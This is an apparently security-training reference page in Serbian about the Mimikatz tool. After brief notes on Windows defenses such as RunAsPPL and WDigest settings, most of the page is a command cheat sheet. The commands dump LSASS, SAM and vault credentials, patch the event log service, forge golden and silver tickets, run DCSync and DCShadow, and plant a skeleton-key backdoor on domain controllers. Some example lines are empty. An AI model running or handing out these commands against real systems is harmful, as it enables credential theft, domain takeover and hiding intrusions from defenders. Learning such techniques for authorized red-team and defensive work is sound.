Mimikatz
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Deepen your expertise in Mobile Security with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Ova stranica se zasniva na jednoj sa adsecurity.org. Proverite original za više informacija!
Od Windows 8.1 i Windows Server 2012 R2 nadalje, implementirane su značajne mere za zaštitu od krađe kredencijala:
LM hash i plain-text lozinke više se ne čuvaju u memoriji radi poboljšanja bezbednosti. Specifična registracija, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" mora biti konfigurisana sa DWORD vrednošću 0 kako bi se onemogućila Digest Authentication, osiguravajući da "plain-text" lozinke nisu keširane u LSASS.
LSA zaštita je uvedena da zaštiti proces Lokalnog sigurnosnog autoriteta (LSA) od neovlašćenog čitanja memorije i injekcije koda. To se postiže označavanjem LSASS-a kao zaštićenog procesa. Aktivacija LSA zaštite uključuje:
Modifikovanje registra na HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa postavljanjem RunAsPPL na dword:00000001.
Implementaciju objekta grupne politike (GPO) koji sprovodi ovu promenu registra na upravljanim uređajima.
I pored ovih zaštita, alati poput Mimikatz mogu zaobići LSA zaštitu koristeći specifične drajvere, iako su takve akcije verovatno zabeležene u dnevnicima događaja.
Administratori obično imaju SeDebugPrivilege, što im omogućava da debaguju programe. Ova privilegija može biti ograničena kako bi se sprečili neovlašćeni dump-ovi memorije, što je uobičajena tehnika koju napadači koriste za vađenje kredencijala iz memorije. Međutim, čak i sa ovom privilegijom uklonjenom, TrustedInstaller nalog i dalje može vršiti dump-ove memorije koristeći prilagođenu konfiguraciju servisa:
Ovo omogućava iskopavanje memorije lsass.exe u datoteku, koja se zatim može analizirati na drugom sistemu kako bi se izvukle kredencijale:
Manipulacija dnevnikom događaja u Mimikatz-u uključuje dve osnovne radnje: brisanje dnevnika događaja i patch-ovanje Event servisa kako bi se sprečilo beleženje novih događaja. Ispod su komande za izvođenje ovih radnji:
Komanda: Ova radnja je usmerena na brisanje dnevnika događaja, čineći teže praćenje zlonamernih aktivnosti.
Mimikatz ne pruža direktnu komandu u svojoj standardnoj dokumentaciji za brisanje dnevnika događaja direktno putem komandne linije. Međutim, manipulacija dnevnikom događaja obično uključuje korišćenje sistemskih alata ili skripti van Mimikatz-a za brisanje specifičnih dnevnika (npr. korišćenjem PowerShell-a ili Windows Event Viewer-a).
Komanda: event::drop
Ova eksperimentalna komanda je dizajnirana da modifikuje ponašanje Event Logging Servisa, efikasno sprečavajući ga da beleži nove događaje.
Primer: mimikatz "privilege::debug" "event::drop" exit
Komanda privilege::debug osigurava da Mimikatz radi sa potrebnim privilegijama za modifikaciju sistemskih servisa.
Komanda event::drop zatim patch-uje Event Logging servis.
Zlatni tiket omogućava pristup na nivou domena putem impersonacije. Ključna komanda i parametri:
Komanda: kerberos::golden
Parametri:
/domain: Ime domena.
/sid: Sigurnosni identifikator (SID) domena.
/user: Korisničko ime za impersonaciju.
/krbtgt: NTLM hash naloga servisa KDC domena.
/ptt: Direktno ubrizgava tiket u memoriju.
/ticket: Čuva tiket za kasniju upotrebu.
Primer:
Silver Tickets omogućavaju pristup specifičnim uslugama. Ključna komanda i parametri:
Komanda: Slična Golden Ticket, ali cilja specifične usluge.
Parametri:
/service: Usluga koja se cilja (npr., cifs, http).
Ostali parametri slični Golden Ticket.
Primer:
Trust Tickets se koriste za pristup resursima širom domena koristeći odnose poverenja. Ključna komanda i parametri:
Komanda: Slična Golden Ticket, ali za odnose poverenja.
Parametri:
/target: FQDN ciljnog domena.
/rc4: NTLM hash za račun poverenja.
Primer:
Listing Tickets:
Komanda: kerberos::list
Prikazuje sve Kerberos karte za trenutnu korisničku sesiju.
Pass the Cache:
Komanda: kerberos::ptc
Umeće Kerberos karte iz fajlova keša.
Primer: mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
Pass the Ticket:
Komanda: kerberos::ptt
Omogućava korišćenje Kerberos karte u drugoj sesiji.
Primer: mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
Purge Tickets:
Komanda: kerberos::purge
Briše sve Kerberos karte iz sesije.
Korisno pre korišćenja komandi za manipulaciju kartama kako bi se izbegli konflikti.
DCShadow: Privremeno čini mašinu da se ponaša kao DC za manipulaciju AD objektima.
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
DCSync: Oponaša DC da zatraži podatke o lozinkama.
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
LSADUMP::LSA: Ekstrahuje akreditive iz LSA.
mimikatz "lsadump::lsa /inject" exit
LSADUMP::NetSync: Oponaša DC koristeći podatke o lozinkama računa računara.
Nema specifične komande za NetSync u originalnom kontekstu.
LSADUMP::SAM: Pristup lokalnoj SAM bazi podataka.
mimikatz "lsadump::sam" exit
LSADUMP::Secrets: Dešifruje tajne pohranjene u registru.
mimikatz "lsadump::secrets" exit
LSADUMP::SetNTLM: Postavlja novu NTLM heš vrednost za korisnika.
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
LSADUMP::Trust: Preuzima informacije o poverenju.
mimikatz "lsadump::trust" exit
MISC::Skeleton: Umeće backdoor u LSASS na DC-u.
mimikatz "privilege::debug" "misc::skeleton" exit
PRIVILEGE::Backup: Stiče prava za rezervnu kopiju.
mimikatz "privilege::backup" exit
PRIVILEGE::Debug: Dobija privilegije za debagovanje.
mimikatz "privilege::debug" exit
SEKURLSA::LogonPasswords: Prikazuje akreditive za prijavljene korisnike.
mimikatz "sekurlsa::logonpasswords" exit
SEKURLSA::Tickets: Ekstrahuje Kerberos karte iz memorije.
mimikatz "sekurlsa::tickets /export" exit
SID::add/modify: Menja SID i SIDHistory.
Dodaj: mimikatz "sid::add /user:targetUser /sid:newSid" exit
Izmeni: Nema specifične komande za izmenu u originalnom kontekstu.
TOKEN::Elevate: Oponaša tokene.
mimikatz "token::elevate /domainadmin" exit
TS::MultiRDP: Omogućava više RDP sesija.
mimikatz "ts::multirdp" exit
TS::Sessions: Prikazuje TS/RDP sesije.
Nema specifične komande za TS::Sessions u originalnom kontekstu.
Ekstrahuje lozinke iz Windows Trezora.
mimikatz "vault::cred /patch" exit
Produbite svoje znanje u Mobilnoj Bezbednosti sa 8kSec Akademijom. Savladajte iOS i Android bezbednost kroz naše kurseve koji se mogu pratiti sopstvenim tempom i dobijte sertifikat:
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
